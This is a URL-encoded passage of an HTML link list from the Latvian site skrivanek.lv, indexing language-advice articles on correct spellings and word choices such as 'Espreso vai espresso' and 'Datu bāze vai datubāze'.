Benz%C4%ABntanks%20vai%20degvielas%20uzpildes%20stacija%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fbeze-cepumi-vai-bize-cepumi%2F%22%3EBez%C4%93%20cepumi%20vai%20biz%C4%93%20cepumi%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fbez-maksas-pret-bezmaksas%2F%22%3EBez%20maksas%20vai%20bezmaksas%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fbiezak-uzdotie-jautajumi%2F%22%3EBie%C5%BE%C4%81k%20uzdotie%20jaut%C4%81jumi%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fblendet-pret-blenderet%2F%22%3EBlend%C4%93t%20vai%20blender%C4%93t%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fbriliants-pret-briljants-pret-brilliants%2F%22%3EBriliants%2C%20briljants%20vai%20brilliants%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fbriva-vakance-pret-vakance%2F%22%3EBr%C4%ABva%20vakance%20vai%20vakance%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fbrunurupucis-vai-brunrupucis%2F%22%3EBru%C5%86urupucis%20vai%20bru%C5%86rupucis%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fbrusa-vai-bruse%2F%22%3EBruse%20vai%20brusa%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fbruseta-pret-brusceta-pret-brusketa%2F%22%3EBru%C5%A1eta%2C%20bru%C5%A1%C4%8Deta%20vai%20brusketa%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fbulcina-pret-maizite%2F%22%3EBulci%C5%86a%20vai%20maiz%C4%ABte%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fburatino-pret-buratino%2F%22%3EBuratino%20vai%20Burat%C4%ABno%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fcaurule-pret-truba%2F%22%3ECaurule%20vai%20truba%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fcepamais-papirs-pret-cepjamais-papirs%2F%22%3ECepamais%20pap%C4%ABrs%20vai%20Cepjamais%20pap%C4%ABrs%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fcik-prasmigs-ir-jusu-auto%2F%22%3ECik%20prasm%C4%ABgs%20ir%20J%C5%ABsu%20auto%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fcilvecigs-pret-cilvecisks%2F%22%3ECilv%C4%93c%C4%ABgs%20vai%20cilv%C4%93cisks%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fcilveki-apnemas%2F%22%3ECilv%C4%93ki%20ap%C5%86emas%20vai%20cilv%C4%93ki%20ap%C5%86em%C4%81s%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ftikumigs-pret-tikumisks%2F%22%3ECilv%C4%93ks%20ir%20tikum%C4%ABgs%20vai%20tikumisks%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fcipars-pret-skaitlis%2F%22%3ECipars%20vai%20skaitlis%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fcirka-pret-cirku%2F%22%3ECirk%C4%81%20vai%20cirk%C5%AB%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fcitadi-pret-citadak%2F%22%3ECit%C4%81di%20vai%20cit%C4%81d%C4%81k%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fcits-aiz-cita-pret-viens-aiz-otra%2F%22%3ECits%20aiz%20cita%20vai%20viens%20aiz%20otra%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fcukini%2F%22%3ECukini%20vai%20cuk%C4%ABni%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fcemodans-pret-koferis-pret-sakvojazs%2F%22%3E%C4%8Cemod%C4%81ns%20vai%20koferis%20vai%20sakvoj%C4%81%C5%BEs%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fcipsi-pret-cipsi%2F%22%3E%C4%8Cipsi%20vai%20%C4%8Dip%C5%A1i%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdarba-diena-pret-darbadiena-pret-darbdiena%2F%22%3EDarba%20diena%20vai%20darbdiena%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdarba-vieta-pret-darbavieta%2F%22%3EDarba%20vieta%20vai%20darbavieta%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdarbspejas-vecums-vai-darbspejigs-vecums%2F%22%3EDarbsp%C4%93jas%20vecums%20vai%20darbsp%C4%93j%C4%ABgs%20vecums%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdatu-baze-pret-datubaze%2F%22%3EDatu%20b%C4%81ze%20vai%20datub%C4%81ze%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdaudz-bazu-vai-daudz-bazu%2F%22%3EDaudz%20b%C4%81zu%20vai%20daudz%20b%C4%81%C5%BEu%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdaudzmaz-vai-daudz-maz%2F%22%3EDaudzmaz%20vai%20daudz%20maz%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdarzaji-pret-darzeni%2F%22%3ED%C4%81rz%C4%81ji%20vai%20d%C4%81rze%C5%86i%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdebate-pret-debates%2F%22%3EDebate%20vai%20debates%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdebitet-pret-debetet%2F%22%3EDebit%C4%93t%20vai%20debet%C4%93t%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdekade-pret-desmitgade%2F%22%3EDek%C4%81de%20vai%20desmitgade%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdeklaracija-pret-dekleracija%2F%22%3EDeklar%C4%81cija%20vai%20dekler%C4%81cija%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdekoret-un-garnet%2F%22%3EDekor%C4%93t%20vai%20garn%C4%93t%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdermatins-pret-dermantins%2F%22%3EDermat%C4%ABns%20vai%20dermant%C4%ABns%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdesmitam-reizu-pret-desmitiem-reizu%2F%22%3EDesmit%C4%81m%20rei%C5%BEu%20vai%20desmitiem%20rei%C5%BEu%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdel-pret-rezultata%2F%22%3ED%C4%93%C4%BC%20vai%20rezult%C4%81t%C4%81%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdiktafons-pret-diktofons%2F%22%3EDiktafons%20vai%20diktofons%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdilema-pret-dilemma%2F%22%3EDilema%20vai%20Dilemma%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdiognale-diogonale-vai-diagonale%2F%22%3EDiogn%C4%81le%20vai%20diogon%C4%81le%2C%20vai%20diagon%C4%81le%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdiploms-izdots-riga-2024-gada-11-junija-vai-diploms-izdots-riga-2024-gada-11-junija%2F%22%3EDiploms%20izdots%20R%C4%ABg%C4%81%2C%202024.%20gad%C4%81%20vai%20Diploms%20izdots%20R%C4%ABg%C4%81%202024.%20gad%C4%81%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdizainers-pret-dizaineris%2F%22%3EDizainers%20vai%20dizaineris%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdokumentals-vai-dokumentars%2F%22%3EDokument%C4%81ls%20vai%20dokument%C4%81rs%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdomuzime-pret-defise%2F%22%3EDomuz%C4%ABme%20vai%20defise%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdopamins-vai-dopomins%2F%22%3EDopam%C4%ABns%20vai%20dopom%C4%ABns%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdrosiba-pret-drosums%2F%22%3EDro%C5%A1%C4%ABba%20vai%20dro%C5%A1ums%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdubaja-vai-dubaija%2F%22%3EDubaja%20vai%20Dubaija%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdzerajs-pret-dzerejs%2F%22%3EDz%C4%93r%C4%81js%20vai%20dz%C4%93r%C4%93js%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdziesmu-svetki-pret-dziesmusvetki%2F%22%3EDziesmu%20sv%C4%93tki%20vai%20dziesmusv%C4%93tki%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdzeims-pret-dzeimss%2F%22%3ED%C5%BEeims%20vai%20D%C5%BEeimss%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdzentelmenis-vai-dzentlmenis%2F%22%3ED%C5%BEentelmenis%20vai%20d%C5%BEentlmenis%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdzinsas-pret-dzinsi-pret-dzinss%2F%22%3ED%C5%BEinsas%2C%20d%C5%BEinsi%20vai%20tom%C4%93r%20d%C5%BEinss%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdzodzoba-pret-hohoba%2F%22%3ED%C5%BEod%C5%BEoba%20vai%20hohoba%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fefektigs-pret-efektivs%2F%22%3EEfekt%C4%ABgs%20vai%20efekt%C4%ABvs%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Feiropas-ekonomikas-zona-vai-eiropas-ekonomiska-zona%2F%22%3EEiropas%20Ekonomikas%20zona%20vai%20Eiropas%20Ekonomisk%C4%81%20zona%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fe-pasts-pret-epasts%2F%22%3EE-pasts%20vai%20epasts%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fesat-pret-esiet%2F%22%3EEsat%20vai%20esiet%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fes-cepju-pret-es-cepu%2F%22%3EEs%20cepu%20vai%20cepju%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fesiba-vai-esamiba%2F%22%3EEs%C4%ABba%20vai%20esam%C4%ABba%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Feskavators-pret-ekskavators%2F%22%3EEskavators%20vai%20ekskavators%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ftalskasa-pret-talskata%2F%22%3EEs%20pielieku%20aci%20pie%20t%C4%81lska%C5%A1a%20vai%20t%C4%81lskata%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fespreso-pret-espresso%2F%22%3EEspreso%20vai%20espresso%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpietupjos-vai-pietupstos%2F%22%3EEs%20tupjos%20vai%20tupstos%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fetiologija-vai-etologija%2F%22%3EEtiolo%C4%A3ija%20vai%20etolo%C4%A3ija%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Feuro-pret-eiro%2F%22%3EEuro%20vai%20eiro%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fezoterisks-pret-ezoterisks%2F%22%3EEzoterisks%20vai%20ezot%C4%93risks%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Feteris-pret-eters%2F%22%3E%C4%92teris%20vai%20%C4%92ters%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ffareru-pret-fereru-pret-feru-salas%2F%22%3EFar%C4%93ru%20vai%20Fer%C4%93ru%20vai%20F%C4%93ru%20salas%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ffilmas-dublaza-vai-dublesana-vai-dublejums%2F%22%3EFilmas%20dubl%C4%81%C5%BEa%20vai%20dubl%C4%93%C5%A1ana%20vai%20dubl%C4%93jums%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ffinansu-pret-finansu%2F%22%3EFinansu%20vai%20finan%C5%A1u%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fflomasters-vai-flomasters%2F%22%3EFlomasters%20vai%20flom%C4%81sters%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ffolija-pret-follijs%2F%22%3EFolija%20vai%20follijs%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ffotografet-vai-fotografet%2F%22%3EFotograf%C4%93t%20vai%20fotogr%C4%81f%C4%93t%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ffranci-ediena-gaume%2F%22%3EFran%C4%8Di%20%C4%93diena%20gaum%C4%93%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ffranci-vai-francuzi%2F%22%3EFran%C4%8Di%20vai%20franc%C5%AB%C5%BEi%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ffrancize-pret-fransize%2F%22%3EFran%C4%8D%C4%ABze%20vai%20fran%C5%A1%C4%ABze%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ffutlaris-pret-futralis%2F%22%3EFutl%C4%81ris%20vai%20futr%C4%81lis%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fgastranomija-pret-gastronomija%2F%22%3EGastranomija%20vai%20gastronomija%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fgels%2F%22%3EGels%20vai%20g%C4%93ls%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fgrafiti-pret-graffiti%2F%22%3EGrafiti%20vai%20graffiti%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fgreifruts-pret-greipfruts%2F%22%3EGreifr%C5%ABts%20vai%20greipfr%C5%ABts%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fgrilet-pret-grillet%2F%22%3EGril%C4%93t%20vai%20grill%C4%93t%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fgruzinu-restorans%2F%22%3EGruz%C4%ABnu%20restor%C4%81ns%20vai%20gruz%C4%AB%C5%86u%20restor%C4%81ns%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fgvajakas-ella-vai-gvajaka-koka-ella-vai-guajaka-ella%2F%22%3EGvajakas%20e%C4%BC%C4%BCa%20vai%20gvajaka%20koka%20e%C4%BC%C4%BCa%20vai%20guajaka%20e%C4%BC%C4%BCa%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fhalovins-pret-helovins%2F%22%3EHalov%C4%ABns%20vai%20Helov%C4%ABns%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fhalturet%2F%22%3EHaltur%C4%93t%20vai%20halt%C5%ABr%C4%93t%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fharakiri-pret-harikiri%2F%22%3EHarakiri%20vai%20harikiri%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fharisma-pret-harizma%2F%22%3EHarisma%20vai%20harizma%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fhematogens-vai-hematogens%2F%22%3EHematogens%20vai%20hematog%C4%93ns%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fhinkali%2F%22%3EHinkali%20vai%20hinka%C4%BCi%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fhits%2F%22%3EHits%20vai%20h%C4%ABts%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fhot-dogs-pret-hotdogs%2F%22%3EHot-dogs%2C%20hotdogs%20vai%20hot%20dogs%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fhumans-pret-humanitars%2F%22%3EHum%C4%81ns%20vai%20humanit%C4%81rs%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fhumoss-pret-humuss%2F%22%3EHumoss%20vai%20humuss%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fibiza-vai-ivisa-vai-eivisa%2F%22%3EIbiza%20vai%20Ivisa%20vai%20Eivisa%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fiebilst-lemumam-pret-iebilst-pret-lemumu%2F%22%3EIebilst%20l%C4%93mumam%20vai%20iebilst%20pret%20l%C4%93mumu%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fiedala-sadala-vai-nodala%2F%22%3EIeda%C4%BCa%20vai%20sada%C4%BCa%20vai%20noda%C4%BCa%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fienakat-pret-ienaciet%2F%22%3EIen%C4%81kat%20vai%20ien%C4%81ciet%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fiet-ar-kajam-vai-iet-kajam%2F%22%3EIet%20ar%20k%C4%81j%C4%81m%20vai%20iet%20k%C4%81j%C4%81m%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fik-dienas-pret-ikdienas%2F%22%3EIk%20dienas%20vai%20ikdienas%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Filggadigs-pret-ilggadejs%2F%22%3EIlggad%C4%ABgs%20vai%20ilggad%C4%93js%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Finjicet-vai-injecet%2F%22%3EInjic%C4%93t%20vai%20injec%C4%93t%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Finkasents-pret-inkasators%2F%22%3EInkasents%20vai%20inkasators%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fintraverts-pret-introverts%2F%22%3EIntraverts%20vai%20introverts%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Finventarizacija-pret-inventerizacija%2F%22%3EInventariz%C4%81cija%20vai%20inventeriz%C4%81cija%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fvarama-sals-pret-varamais-sals%2F%22%3EIr%20v%C4%81r%C4%81m%C4%81%20s%C4%81ls%20vai%20v%C4%81r%C4%81mais%20s%C4%81ls%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fislams%2F%22%3EIslams%20vai%20isl%C4%81ms%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fislande-pret-islande%2F%22%3EIslande%20vai%20%C4%AAslande%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fvai-ne-pret-vai-ne%2F%22%3EIzlemsim%20%E2%80%93%20rakst%C4%ABt%20vai%20ne%20vai%20Izlemsim%20%E2%80%93%20rakst%C4%ABt%20vai%20n%C4%93%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fizspuris-vai-izpuris%2